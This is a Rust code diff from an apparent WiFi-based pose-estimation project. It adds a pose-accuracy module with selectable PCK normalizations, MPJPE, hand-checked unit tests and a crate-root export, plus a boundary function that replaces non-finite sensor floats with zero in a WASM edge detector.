||||
pub mpjpe: f32,
|
||||
/// The normalization basis under which `pck_at` was computed — the label a
|
||||
/// reported number must always carry.
|
||||
pub normalization: PckNormalization,
|
||||
/// Number of keypoints per frame (the pose convention, e.g. 17 for COCO).
|
||||
pub n_keypoints: usize,
|
||||
/// Number of frames aggregated into this result.
|
||||
pub n_frames: usize,
|
||||
}
|
||||
|
||||
impl PoseAccuracy {
|
||||
/// Convenience accessor for a single threshold, returning `None` when that
|
||||
/// `k` was not requested.
|
||||
pub fn pck(&self, k: u8) -> Option<f32> {
|
||||
self.pck_at.get(&k).copied()
|
||||
}
|
||||
|
||||
/// A one-line, self-documenting summary suitable for logs / RESULTS.md, e.g.
|
||||
/// `PCK@20=0.750 (torso-diameter, 17kp, 1 frames) MPJPE=0.030`.
|
||||
pub fn summary(&self) -> String {
|
||||
let pcks: Vec<String> = self
|
||||
.pck_at
|
||||
.iter()
|
||||
.map(|(k, v)| format!("PCK@{k}={v:.3}"))
|
||||
.collect();
|
||||
format!(
|
||||
"{} ({}, {}kp, {} frames) MPJPE={:.4}",
|
||||
pcks.join(" "),
|
||||
self.normalization.label(),
|
||||
self.n_keypoints,
|
||||
self.n_frames,
|
||||
self.mpjpe
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/// One frame's prediction + ground truth + visibility for batch scoring.
|
||||
///
|
||||
/// All three arrays share row count `n_keypoints`; `pred`/`gt` are `[n, D]`
|
||||
/// (`D ∈ {2,3}`), `visibility` is `[n]`.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct PoseFrame {
|
||||
/// Predicted keypoints `[n, D]`.
|
||||
pub pred: Array2<f32>,
|
||||
/// Ground-truth keypoints `[n, D]`.
|
||||
pub gt: Array2<f32>,
|
||||
/// Per-keypoint visibility `[n]` (`>= 0.5` ⇒ visible).
|
||||
pub visibility: Array1<f32>,
|
||||
}
|
||||
|
||||
/// Aggregate [`PoseAccuracy`] over a batch of frames under **one** explicit
|
||||
/// `normalization`, for the requested PCK thresholds `ks` (percentages).
|
||||
///
|
||||
/// PCK is micro-averaged over keypoints (sum of correct ÷ sum of visible across
|
||||
/// all frames — the standard keypoint-PCK aggregation), so frames with more
|
||||
/// visible joints contribute proportionally. MPJPE is micro-averaged over
|
||||
/// visible joints likewise. Unscoreable frames (no visible joints, degenerate
|
||||
/// relative normalizer) contribute `(0, 0)` and so are excluded from the
|
||||
/// denominator rather than scored as perfect.
|
||||
///
|
||||
/// An **empty** `frames` slice yields all-zero PCK and `0.0` MPJPE — never a
|
||||
/// panic or NaN.
|
||||
pub fn accuracy_report(
|
||||
frames: &[PoseFrame],
|
||||
ks: &[u8],
|
||||
normalization: PckNormalization,
|
||||
) -> PoseAccuracy {
|
||||
let n_keypoints = frames.first().map(|f| f.gt.shape()[0]).unwrap_or(0);
|
||||
|
||||
// PCK: per-threshold (correct, total) accumulators across frames.
|
||||
let mut pck_acc: BTreeMap<u8, (usize, usize)> = ks.iter().map(|&k| (k, (0, 0))).collect();
|
||||
// MPJPE: sum of per-joint distances and visible-joint count.
|
||||
let mut mpjpe_sum = 0.0f32;
|
||||
let mut mpjpe_count = 0usize;
|
||||
|
||||
for frame in frames {
|
||||
for &k in ks {
|
||||
let (c, t, _) = pck_at(&frame.pred, &frame.gt, &frame.visibility, k, normalization);
|
||||
let entry = pck_acc.entry(k).or_insert((0, 0));
|
||||
entry.0 += c;
|
||||
entry.1 += t;
|
||||
}
|
||||
// Per-frame MPJPE re-derived as a (sum, count) contribution so the
|
||||
// batch value is a true micro-average over joints.
|
||||
let n = frame.pred.shape()[0].min(frame.gt.shape()[0]).min(frame.visibility.len());
|
||||
let d = frame.pred.shape()[1].min(frame.gt.shape()[1]);
|
||||
for j in 0..n {
|
||||
if frame.visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
let mut sq = 0.0f32;
|
||||
for c in 0..d {
|
||||
let diff = frame.pred[[j, c]] - frame.gt[[j, c]];
|
||||
sq += diff * diff;
|
||||
}
|
||||
mpjpe_sum += sq.sqrt();
|
||||
mpjpe_count += 1;
|
||||
}
|
||||
}
|
||||
|
||||
let pck_at: BTreeMap<u8, f32> = pck_acc
|
||||
.into_iter()
|
||||
.map(|(k, (c, t))| {
|
||||
let v = if t > 0 { c as f32 / t as f32 } else { 0.0 };
|
||||
(k, v)
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mpjpe = if mpjpe_count > 0 {
|
||||
mpjpe_sum / mpjpe_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
PoseAccuracy {
|
||||
pck_at,
|
||||
mpjpe,
|
||||
normalization,
|
||||
n_keypoints,
|
||||
n_frames: frames.len(),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// Build a 17-joint `[17, 2]` pose from `(joint, x, y)` triples.
|
||||
fn pose17(joints: &[(usize, f32, f32)]) -> Array2<f32> {
|
||||
let mut a = Array2::<f32>::zeros((17, 2));
|
||||
for &(j, x, y) in joints {
|
||||
a[[j, 0]] = x;
|
||||
a[[j, 1]] = y;
|
||||
}
|
||||
a
|
||||
}
|
||||
|
||||
fn vis17(visible: &[usize]) -> Array1<f32> {
|
||||
let mut v = Array1::<f32>::zeros(17);
|
||||
for &j in visible {
|
||||
v[j] = 2.0;
|
||||
}
|
||||
v
|
||||
}
|
||||
|
||||
// -------- consts pinned (no silent metric drift) --------
|
||||
#[test]
|
||||
fn accuracy_consts_unchanged() {
|
||||
assert_eq!(VISIBILITY_THRESHOLD, 0.5_f32);
|
||||
assert_eq!(MIN_REFERENCE_EXTENT, 1e-6_f32);
|
||||
}
|
||||
|
||||
// -------- perfect prediction ⇒ PCK = 1.0, MPJPE = 0 --------
|
||||
#[test]
|
||||
fn perfect_prediction_pck_one_mpjpe_zero() {
|
||||
let gt = pose17(&[
|
||||
(5, 0.35, 0.35),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
for norm in [
|
||||
PckNormalization::TorsoDiameter,
|
||||
PckNormalization::BoundingBoxDiagonal,
|
||||
PckNormalization::AbsolutePixels(0.01),
|
||||
] {
|
||||
let (c, t, pck) = pck_at(>, >, &vis, 20, norm);
|
||||
assert_eq!((c, t), (3, 3), "{norm:?}");
|
||||
assert!((pck - 1.0).abs() < 1e-6, "{norm:?} perfect PCK must be 1.0");
|
||||
}
|
||||
assert_eq!(mpjpe(>, >, &vis), 0.0);
|
||||
}
|
||||
|
||||
// -------- all keypoints just OUTSIDE threshold ⇒ PCK = 0.0 --------
|
||||
//
|
||||
// Hand calc (torso): hips at (0.40,0.50)/(0.60,0.50) ⇒ torso = 0.20.
|
||||
// threshold k=20 ⇒ τ = 0.20·0.20 = 0.04. Push every scored joint to an
|
||||
// error of 0.05 (> 0.04) ⇒ all wrong. To avoid the hips themselves being
|
||||
// "correct", we displace the hips too (their displaced positions still
|
||||
// define the torso from GT, which is unchanged).
|
||||
#[test]
|
||||
fn all_just_outside_threshold_pck_zero() {
|
||||
let gt = pose17(&[
|
||||
(5, 0.50, 0.50),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
// GT torso = 0.20, τ@20 = 0.04. Displace each scored joint by dx=0.05.
|
||||
let pred = pose17(&[
|
||||
(5, 0.55, 0.50),
|
||||
(CANON_LEFT_HIP, 0.45, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.65, 0.50),
|
||||
]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!(t, 3);
|
||||
assert_eq!(c, 0, "all errors 0.05 > τ 0.04 ⇒ none correct");
|
||||
assert_eq!(pck, 0.0);
|
||||
}
|
||||
|
||||
// -------- half-in / half-out ⇒ PCK = 0.5 --------
|
||||
//
|
||||
// Hand calc (torso): torso = 0.20, τ@20 = 0.04. Four visible joints; two
|
||||
// exact (dist 0 ≤ 0.04, correct), two displaced 0.05 (> 0.04, wrong)
|
||||
// ⇒ 2/4 = 0.5.
|
||||
#[test]
|
||||
fn half_in_half_out_pck_half() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.20),
|
||||
(5, 0.50, 0.50),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.50, 0.20), // exact ⇒ correct
|
||||
(5, 0.55, 0.50), // err 0.05 ⇒ wrong
|
||||
(CANON_LEFT_HIP, 0.40, 0.50), // exact ⇒ correct
|
||||
(CANON_RIGHT_HIP, 0.65, 0.50), // err 0.05 ⇒ wrong
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!((c, t), (2, 4));
|
||||
assert!((pck - 0.5).abs() < 1e-6, "expected 0.5, got {pck}");
|
||||
}
|
||||
|
||||
// -------- THE KEY PROOF: same predictions, three normalizations, three PCK --------
|
||||
//
|
||||
// One construction scored three ways. Hand calc:
|
||||
// GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30),
|
||||
// l_hip(11)=(0.40,0.90), r_hip(12)=(0.60,0.90).
|
||||
// Visible = {0,5,11,12}, all four.
|
||||
// torso = |0.60-0.40| = 0.20 (hips, y equal).
|
||||
// bbox: x∈[0.40,0.60] (w=0.20), y∈[0.10,0.90] (h=0.80)
|
||||
// ⇒ diag = sqrt(0.20² + 0.80²) = sqrt(0.04+0.64)=sqrt(0.68)=0.8246…
|
||||
//
|
||||
// Pred errors (pure dx): nose 0.00, l_sh 0.10, l_hip 0.00, r_hip 0.00.
|
||||
// (Only joint 5 is displaced, by 0.10.)
|
||||
//
|
||||
// k = 20:
|
||||
// • Torso τ = 0.20·0.20 = 0.040 → joint5 err 0.10 > 0.040 ⇒ WRONG
|
||||
// ⇒ 3 correct / 4 = 0.75
|
||||
// • Bbox τ = 0.20·0.8246 = 0.16492 → joint5 err 0.10 ≤ 0.16492 ⇒ CORRECT
|
||||
// ⇒ 4 correct / 4 = 1.00
|
||||
// • Abs(0.05) τ = 0.05 → joint5 err 0.10 > 0.05 ⇒ WRONG
|
||||
// ⇒ 3 correct / 4 = 0.75 (same count as torso HERE by coincidence)
|
||||
//
|
||||
// To make ALL THREE differ, also test Abs(0.08): τ=0.08, joint5 0.10>0.08
|
||||
// ⇒ still 0.75. So we additionally displace nose by 0.06 (between 0.05 and
|
||||
// 0.08) to separate the two absolute thresholds — see below.
|
||||
#[test]
|
||||
fn three_normalizations_give_different_pck_on_identical_input() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10), // nose
|
||||
(5, 0.50, 0.30), // left_shoulder
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
// nose displaced 0.06, shoulder displaced 0.10, hips exact.
|
||||
let pred = pose17(&[
|
||||
(0, 0.56, 0.10), // err 0.06
|
||||
(5, 0.60, 0.30), // err 0.10
|
||||
(CANON_LEFT_HIP, 0.40, 0.90), // exact
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90), // exact
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
|
||||
// Torso τ@20 = 0.04: nose 0.06>0.04 wrong, sh 0.10>0.04 wrong,
|
||||
// hips exact ⇒ 2/4 = 0.5.
|
||||
let (_, _, torso) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
// Bbox diag = sqrt(0.68)=0.82462; τ@20 = 0.164924:
|
||||
// nose 0.06 ≤ τ correct, sh 0.10 ≤ τ correct, hips exact ⇒ 4/4 = 1.0.
|
||||
let (_, _, bbox) = pck_at(&pred, >, &vis, 20, PckNormalization::BoundingBoxDiagonal);
|
||||
// Abs(0.08): nose 0.06 ≤ 0.08 correct, sh 0.10 > 0.08 wrong, hips exact
|
||||
// ⇒ 3/4 = 0.75.
|
||||
let (_, _, abs) = pck_at(&pred, >, &vis, 20, PckNormalization::AbsolutePixels(0.08));
|
||||
|
||||
assert!((torso - 0.5).abs() < 1e-6, "torso PCK expected 0.5, got {torso}");
|
||||
assert!((bbox - 1.0).abs() < 1e-6, "bbox PCK expected 1.0, got {bbox}");
|
||||
assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK expected 0.75, got {abs}");
|
||||
|
||||
// The whole point: identical predictions, three DISTINCT PCK values.
|
||||
assert!(torso != bbox && bbox != abs && torso != abs,
|
||||
"normalizations must give distinct PCK: torso={torso}, bbox={bbox}, abs={abs}");
|
||||
}
|
||||
|
||||
// -------- AbsolutePixels ignores k (raw threshold) --------
|
||||
#[test]
|
||||
fn absolute_pixels_ignores_threshold_percentage() {
|
||||
let gt = pose17(&[(5, 0.50, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let pred = pose17(&[(5, 0.53, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
// τ = 0.05 raw; joint5 err 0.03 ≤ 0.05 correct. k=5 and k=99 must agree.
|
||||
let (_, _, p5) = pck_at(&pred, >, &vis, 5, PckNormalization::AbsolutePixels(0.05));
|
||||
let (_, _, p99) = pck_at(&pred, >, &vis, 99, PckNormalization::AbsolutePixels(0.05));
|
||||
assert_eq!(p5, p99, "AbsolutePixels must ignore the k percentage");
|
||||
assert!((p5 - 1.0).abs() < 1e-6, "all three within 0.05, got {p5}");
|
||||
}
|
||||
|
||||
// -------- MPJPE hand-computed (2D and 3D) --------
|
||||
#[test]
|
||||
fn mpjpe_hand_computed_2d() {
|
||||
// joint0 err (3,4)->5, joint1 exact->0 ⇒ mean (5+0)/2 = 2.5.
|
||||
let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 1.0, 1.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 1.0, 1.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0, 2.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 2.5).abs() < 1e-6);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mpjpe_hand_computed_3d() {
|
||||
// single joint err (1,2,2) -> sqrt(1+4+4)=3.0.
|
||||
let gt = Array2::from_shape_vec((1, 3), vec![0.0, 0.0, 0.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((1, 3), vec![1.0, 2.0, 2.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 3.0).abs() < 1e-6);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mpjpe_excludes_invisible_joints() {
|
||||
// joint0 visible err 5, joint1 INVISIBLE err 100 ⇒ mean = 5 (joint1 dropped).
|
||||
let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 0.0, 0.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 100.0, 0.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0, 0.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 5.0).abs() < 1e-6);
|
||||
}
|
||||
|
||||
// -------- degenerate inputs: no panic --------
|
||||
#[test]
|
||||
fn zero_torso_is_unscoreable_not_perfect() {
|
||||
// Both hips coincident ⇒ torso ≈ 0; bbox also collapses ⇒ None.
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.5, 0.5), (CANON_RIGHT_HIP, 0.5, 0.5)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
assert_eq!(pck_at(>, >, &vis, 20, PckNormalization::TorsoDiameter), (0, 0, 0.0));
|
||||
assert_eq!(pck_at(>, >, &vis, 20, PckNormalization::BoundingBoxDiagonal), (0, 0, 0.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_visible_keypoints_scores_zero() {
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
|
||||
let vis = vis17(&[]); // nothing visible
|
||||
let (c, t, pck) = pck_at(>, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!((c, t, pck), (0, 0, 0.0));
|
||||
assert_eq!(mpjpe(>, >, &vis), 0.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nan_coords_do_not_panic_and_count_wrong() {
|
||||
let gt = pose17(&[(5, 0.5, 0.5), (CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
|
||||
let mut pred = gt.clone();
|
||||
pred[[5, 0]] = f32::NAN; // joint 5 prediction is NaN
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!(t, 3);
|
||||
assert_eq!(c, 2, "NaN joint must count as wrong, hips correct ⇒ 2/3");
|
||||
assert!((pck - 2.0 / 3.0).abs() < 1e-6);
|
||||
// mpjpe with a NaN joint yields NaN (caller filters) but must not panic.
|
||||
assert!(mpjpe(&pred, >, &vis).is_nan());
|
||||
}
|
||||
|
||||
// -------- batch report: micro-average + self-describing struct --------
|
||||
#[test]
|
||||
fn accuracy_report_micro_averages_and_carries_definition() {
|
||||
// Frame A: 2 visible, both correct (2/2). Frame B: 2 visible, both wrong (0/2).
|
||||
// Micro-average over joints: 2 correct / 4 = 0.5 (NOT mean-of-frame-PCK,
|
||||
// which would be (1.0+0.0)/2 = 0.5 here too, but the accumulator is the
|
||||
// joint-level one).
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame_a = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis.clone() };
|
||||
// Frame B: displace both hips by 0.05 (> τ 0.04) ⇒ both wrong.
|
||||
let pred_b = pose17(&[(CANON_LEFT_HIP, 0.45, 0.50), (CANON_RIGHT_HIP, 0.65, 0.50)]);
|
||||
let frame_b = PoseFrame { pred: pred_b, gt: gt.clone(), visibility: vis.clone() };
|
||||
|
||||
let report = accuracy_report(
|
||||
&[frame_a, frame_b],
|
||||
&[20, 50],
|
||||
PckNormalization::TorsoDiameter,
|
||||
);
|
||||
assert_eq!(report.n_frames, 2);
|
||||
assert_eq!(report.n_keypoints, 17);
|
||||
assert_eq!(report.normalization, PckNormalization::TorsoDiameter);
|
||||
// PCK@20: 2 correct / 4 visible = 0.5.
|
||||
assert!((report.pck(20).unwrap() - 0.5).abs() < 1e-6);
|
||||
// PCK@50: τ = 0.5·0.20 = 0.10, frame B err 0.05 ≤ 0.10 ⇒ all correct
|
||||
// ⇒ 4/4 = 1.0.
|
||||
assert!((report.pck(50).unwrap() - 1.0).abs() < 1e-6);
|
||||
// A reported number always carries its definition in the summary.
|
||||
assert!(report.summary().contains("torso-diameter"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn accuracy_report_empty_is_zero_not_nan() {
|
||||
let report = accuracy_report(&[], &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.n_frames, 0);
|
||||
assert_eq!(report.pck(20), Some(0.0));
|
||||
assert_eq!(report.mpjpe, 0.0);
|
||||
assert!(!report.mpjpe.is_nan());
|
||||
}
|
||||
|
||||
// -------- bbox-norm is looser than torso-norm (sanity, on a batch) --------
|
||||
#[test]
|
||||
fn bbox_norm_scores_at_least_torso_norm() {
|
||||
// bbox diagonal >= torso span always (bbox encloses the hips), so for the
|
||||
// SAME frames bbox-PCK >= torso-PCK at the same k. Pin this ordering.
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10),
|
||||
(5, 0.50, 0.40),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.55, 0.10),
|
||||
(5, 0.58, 0.40),
|
||||
(CANON_LEFT_HIP, 0.42, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.62, 0.90),
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame = PoseFrame { pred, gt, visibility: vis };
|
||||
let torso = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::TorsoDiameter);
|
||||
let bbox = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert!(
|
||||
bbox.pck(20).unwrap() >= torso.pck(20).unwrap(),
|
||||
"bbox-norm (looser) must be >= torso-norm: bbox={:?} torso={:?}",
|
||||
bbox.pck(20), torso.pck(20)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -43,6 +43,11 @@
|
||||
// All *this* crate's code is written without unsafe blocks.
|
||||
#![warn(missing_docs)]
|
||||
|
||||
/// Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173)
|
||||
/// — selectable `PckNormalization` (torso / bbox-diagonal / absolute), `mpjpe`,
|
||||
/// and a self-describing `PoseAccuracy` result so a reported PCK number always
|
||||
/// carries the definition it was computed under.
|
||||
pub mod accuracy;
|
||||
pub mod config;
|
||||
pub mod dataset;
|
||||
pub mod domain;
|
||||
@@ -89,6 +94,11 @@ pub use metrics_core::{
|
||||
canonical_torso_size, oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP,
|
||||
COCO_KP_SIGMAS,
|
||||
};
|
||||
// ADR-155 §Tier-1.2 — metric-locked accuracy harness (selectable PCK
|
||||
// normalization + MPJPE + self-describing result).
|
||||
pub use accuracy::{
|
||||
accuracy_report, mpjpe as pck_mpjpe, pck_at, PckNormalization, PoseAccuracy, PoseFrame,
|
||||
};
|
||||
pub use config::TrainingConfig;
|
||||
pub use dataset::{
|
||||
CsiDataset, CsiSample, DataLoader, MmFiDataset, SyntheticConfig, SyntheticCsiDataset,
|
||||
|
||||
@@ -29,6 +29,66 @@
|
||||
|
||||
use ndarray::{Array1, Array2};
|
||||
use wifi_densepose_train::{oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP};
|
||||
// ADR-155 §Tier-1.2 — metric-locked accuracy harness public surface.
|
||||
use wifi_densepose_train::{accuracy_report, pck_at, PckNormalization, PoseFrame};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Metric-locked accuracy harness: the three PCK normalizations are reachable
|
||||
// from the crate root and give DIFFERENT PCK on identical predictions — the
|
||||
// proof that the 96 / 81.6 / 61 figures were non-comparable (validated here as
|
||||
// a downstream consumer would call it).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Identical predictions, three declared normalizations ⇒ three distinct PCK.
|
||||
/// Hand calc (all coords in `[0,1]`):
|
||||
/// * GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30), hips=(0.40,0.90)/(0.60,0.90).
|
||||
/// * Pred: nose err 0.06, shoulder err 0.10, hips exact.
|
||||
/// * torso = 0.20 ⇒ τ@20 = 0.04 ⇒ only hips correct ⇒ 2/4 = **0.50**.
|
||||
/// * bbox = √(0.20²+0.80²)=0.82462 ⇒ τ@20 = 0.16492 ⇒ all correct ⇒ **1.00**.
|
||||
/// * abs(0.08): nose 0.06≤0.08 ok, shoulder 0.10>0.08 wrong ⇒ 3/4 = **0.75**.
|
||||
#[test]
|
||||
fn harness_three_normalizations_differ_from_crate_root() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10),
|
||||
(5, 0.50, 0.30),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.56, 0.10),
|
||||
(5, 0.60, 0.30),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
|
||||
let (_, _, torso) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
let (_, _, bbox) = pck_at(&pred, >, &vis, 20, PckNormalization::BoundingBoxDiagonal);
|
||||
let (_, _, abs) = pck_at(&pred, >, &vis, 20, PckNormalization::AbsolutePixels(0.08));
|
||||
|
||||
assert!((torso - 0.50).abs() < 1e-6, "torso PCK 0.50, got {torso}");
|
||||
assert!((bbox - 1.00).abs() < 1e-6, "bbox PCK 1.00, got {bbox}");
|
||||
assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK 0.75, got {abs}");
|
||||
assert!(
|
||||
torso != bbox && bbox != abs && torso != abs,
|
||||
"three normalizations must be distinct: {torso} / {bbox} / {abs}"
|
||||
);
|
||||
}
|
||||
|
||||
/// `accuracy_report` returns a self-describing result carrying its normalization,
|
||||
/// so an unlabeled PCK number is structurally impossible at the API boundary.
|
||||
#[test]
|
||||
fn harness_report_carries_normalization_label() {
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis };
|
||||
let report = accuracy_report(&[frame], &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.normalization, PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.n_keypoints, 17);
|
||||
assert_eq!(report.n_frames, 1);
|
||||
assert!((report.pck(20).unwrap() - 1.0).abs() < 1e-6);
|
||||
assert!(report.summary().contains("bbox-diagonal"));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests that use `EvalMetrics` (requires tch-backend because the metrics
|
||||
|
||||
@@ -20,6 +20,7 @@ use wifi_densepose_wasm_edge::{
|
||||
host_get_phase, host_get_amplitude, host_get_variance,
|
||||
host_get_presence, host_get_motion_energy,
|
||||
host_emit_event, host_log,
|
||||
sanitize_host_f32,
|
||||
exo_ghost_hunter::GhostHunterDetector,
|
||||
};
|
||||
|
||||
@@ -64,14 +65,16 @@ pub extern "C" fn on_frame(n_subcarriers: i32) {
|
||||
|
||||
for i in 0..max_sc {
|
||||
unsafe {
|
||||
phases[i] = host_get_phase(i as i32);
|
||||
amplitudes[i] = host_get_amplitude(i as i32);
|
||||
variances[i] = host_get_variance(i as i32);
|
||||
// Sanitize at the boundary: a non-finite host value would otherwise
|
||||
// latch NaN into the detector's persistent anomaly-energy state.
|
||||
phases[i] = sanitize_host_f32(host_get_phase(i as i32));
|
||||
amplitudes[i] = sanitize_host_f32(host_get_amplitude(i as i32));
|
||||
variances[i] = sanitize_host_f32(host_get_variance(i as i32));
|
||||
}
|
||||
}
|
||||
|
||||
let presence = unsafe { host_get_presence() };
|
||||
let motion_energy = unsafe { host_get_motion_energy() };
|
||||
let motion_energy = sanitize_host_f32(unsafe { host_get_motion_energy() });
|
||||
|
||||
let detector = unsafe { &mut *core::ptr::addr_of_mut!(DETECTOR) };
|
||||
let events = detector.process_frame(
|
||||
|
||||
@@ -572,6 +572,35 @@ pub mod event_types {
|
||||
pub const HEALING_COMPLETE: i32 = 888;
|
||||
}
|
||||
|
||||
/// Sanitize a raw `f32` read from the host CSI imports.
|
||||
///
|
||||
/// ## NaN-state-poisoning guard (ADR-040 boundary hardening)
|
||||
///
|
||||
/// The `csi_get_phase`/`csi_get_amplitude`/`csi_get_variance`/… host imports
|
||||
/// return raw IEEE-754 `f32`. A single non-finite value (NaN / ±∞) — from a
|
||||
/// firmware DSP bug, an uninitialised buffer, or a hostile host — propagates
|
||||
/// silently into the long-lived per-module accumulators (EMA, Welford,
|
||||
/// phasor sums, baseline means). Once latched, every downstream comparison
|
||||
/// against the poisoned state evaluates `false`, so detectors fail *degraded*
|
||||
/// (stuck gate state, suppressed anomaly checks) rather than recovering.
|
||||
///
|
||||
/// This is the single chokepoint: every one of the ~70 edge modules receives
|
||||
/// its frame data from the `on_frame` boundaries below, so mapping non-finite
|
||||
/// host floats to `0.0` here protects the entire surface without per-module
|
||||
/// churn. Mirrors the M-01 negative-`n_subcarriers` clamp at the same site.
|
||||
///
|
||||
/// `0.0` is the neutral choice: a zero phase/amplitude/variance reads as a
|
||||
/// quiet subcarrier, which the detectors already handle (it cannot, itself,
|
||||
/// trip an anomaly the way a poisoned NaN can permanently disable one).
|
||||
#[inline]
|
||||
pub fn sanitize_host_f32(v: f32) -> f32 {
|
||||
if v.is_finite() {
|
||||
v
|
||||
} else {
|
||||
0.0
|
||||
}
|
||||
}
|
||||
|
||||
/// Log a message string to the ESP32 console (via host_log import).
|
||||
#[cfg(target_arch = "wasm32")]
|
||||
pub fn log_msg(msg: &str) {
|
||||
